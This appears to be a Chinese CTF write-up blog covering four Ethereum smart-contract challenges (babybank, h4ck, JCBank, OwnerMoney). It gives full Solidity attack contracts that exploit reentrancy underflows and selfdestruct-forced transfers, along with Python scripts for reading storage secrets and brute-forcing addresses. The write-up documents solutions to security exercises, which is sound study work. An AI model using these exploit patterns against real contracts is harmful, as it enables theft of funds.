QWB2019 babybank
反编译看一下
profit函数需要level==0地址后16位为0xb1b1,调用后level加1,结果为level=1,balance加1,结果为balance=1
guess函数需要level==1和secret==arg0,调用后level加1,结果为level=2,balance加1,结果为balance=2
func_045C函数可以修改secret,但是要msg.sender==owner,但没找到修改owner的地方,不能利用
transfer函数需要balance==2和arg0==2,把当前账号的balance转到指定地址
withdraw函数需要balance==2和arg0==2,有call.value函数可以利用callback重入攻击使balance下溢
每个函数前都有
1 2
| var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); }
|
只能通过销毁其他合约来强制实现转账
爆破账号以0xb1b1结尾
对于secret,找到合约部署者和合约的修改secret的交易,可以找到secret的值,或者使用web3查找storage3的值,该值即为secret
1 2 3 4 5 6 7 8
| import web3 import codecs
w3=web3.Web3(web3.HTTPProvider("https://ropsten.infura.io/v3/54828bfa2cb14873a43512fd8d3fc24b"))
a=w3.eth.get_storage_at("0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c",3) print(codecs.encode(a,'hex').decode())
|
给创建合约通过销毁合约强制给目标合约转账
创建攻击合约,用之前的账号给合约转账,再调用合约进行攻击
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| contract hacker{ bool status; babybank bb=babybank(0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c);
function attack(){ bb.withdraw(2); }
function()payable { if(!status){ status=true; bb.withdraw(2); } } function payforflag(string md5ofteamtoken,string b64email){ bb.payforflag(md5ofteamtoken,b64email); } }
contract A{ address owner;
constructor(){ owner=msg.sender; }
function getBalance()payable{}
function kill(address to){ require(owner==msg.sender); selfdestruct(to); } }
|
N1CTF2019 h4ck
**_transfer是balanceOf**的转账函数,没有漏洞
transfer是**_transfer**外部调用方法
buy函数需要balanceOf==0,并且需要转入1wei,调用成功后调用者的sellTimes=1,balanceOf==1
sell需要调用者balanceOf>=amount,sellTimes>0,且
amount>=100,call.value函数可以进行重入攻击,调用一次后sellTimes减1,重入让其下溢
首先,转入200wei调用buy使其balanceOf==1,再调用transfer把当前的balanceOf转到指定账号中,如此循环薅羊毛使指定账号balanceOf达到200
把balanceOf的200转到攻击合约,利用callback调用两次sell使攻击合约的sellTimes下溢
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| contract hacker{ challenge c = challenge(0xE2d6d8808087D2e30EAdF0ACb67708148dbee0C0); address wallet=0x3C5D01C380F8D8581bE8E3b5De0a8f35420f7D68; bool public status;
function attack()payable{ c.sell(100); }
function hack1(uint times) payable{ for(uint i=0;i<times;i++){ c.buy.value(1)(); c.transfer(wallet,1); } }
function getValues()payable{
}
function winnerSubmit()payable{ c.winnerSubmit(); }
function setStatus(){ status=!status; }
function()public payable{ if(!status){ status=!status; c.sell(100); } }
}
|
Hackergame2019 JCBank
flag1
直接利用web3脚本查看合约的storage的secret,再调用get_flag_1得到第一个flag
1 2 3 4 5 6 7
| import web3 from Crypto.Util.number import *
w3=web3.Web3(web3.HTTPProvider("https://kovan.infura.io/v3/xxx")) a=w3.eth.get_storage_at("0xE575c9abD35Fa94F1949f7d559056bB66FddEB51",2) print(bytes_to_long(a))
|
flag2
先调用deposit函数给目标合约转1wei
攻击合约也调用deposit给目标合约转1wei,此时攻击合约的balance为1
利用call.value的重入攻击调用两次withdraw,参数为1,因为到达call.value函数时,balance的值未变动,利用callback函数再调用withdraw使balance向下溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| contract hacker{ address owner; bool status; uint amount; JCBank jcb=JCBank(0xE575c9abD35Fa94F1949f7d559056bB66FddEB51);
constructor()payable{ owner=msg.sender; jcb.deposit.value(msg.value)(); }
modifier onlyOwner{ require(msg.sender==owner); _; }
function attack(uint _amount){ amount = _amount; jcb.withdraw(amount); }
function get_flag_2(uint user_id)public onlyOwner{ jcb.get_flag_2(user_id); }
function Status(){ status=!status; }
function()public payable{ if(!status){ status=!status; jcb.withdraw(amount); } } }
|
高校战疫网络安全分享赛2020
OwnerMoney
先反编译合约
sell函数调用了call.value,需要参数amount>=200,buyTimes>0,调用者的balanceOf>=amount,合约的**balance>=_amount,调用后buyTimes减1**
目标是调用payforflag,需要buyTimes>=200,那么很明显利用call.value重入使buyTimes下溢即可完成攻击
buy函数可以使balanceOf=100,buyTimes=1,但需要调用者的地址的后12位为0xfff,且调用者为合约和需要1wei
payforflag需要owner==msg.sender,利用下change和change_Owner把owner改为自己的地址
我们可以爆破部署第一个合约满足条件的账号
1 2 3 4 5 6 7 8 9 10 11 12
| from ethereum import utils import os
def generate_eoa2(): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv))
while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("fff"): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv)) print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
|
参考pikachu师傅的脚本https://hitcxy.com/2020/generate-address/
爆破出四个账号,把其中三个账号部署的合约的balanceOf转账到剩下的账号部署的合约中,就能满足sell的条件
过程中发现目标合约没有balance,构造合约自销毁强转一些balance
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| contract A{ OwnerMoney om = OwnerMoney(0x40a590b70790930ceed4d148bf365eea9e8b35f4); constructor()payable{ require(msg.value>=1 wei); } function attack(address to){ require(uint(to) & 0xfff == 0xfff); bool s = om.buy.value(1 wei)(); if(s){ om.transfer(to,100); } } function kill(){ selfdestruct(0x40a590b70790930ceed4d148bf365eea9e8b35f4); } }
contract hacker{ OwnerMoney om = OwnerMoney(0x40a590b70790930ceed4d148bf365eea9e8b35f4); bool flag=true; bool status; constructor()payable{ require(msg.value == 1 wei); bool s = om.buy.value(1 wei)(); require(s==true); }
function isOwner(address) view public returns (bool){ flag=!flag; return flag; }
function attack(){ om.sell(200); om.change(address(this)); om.change_Owner(); }
function payforflag(string b64email){ om.payforflag(b64email); }
function()public payable{ if(!status){ status=!status; om.sell(200); } } }
|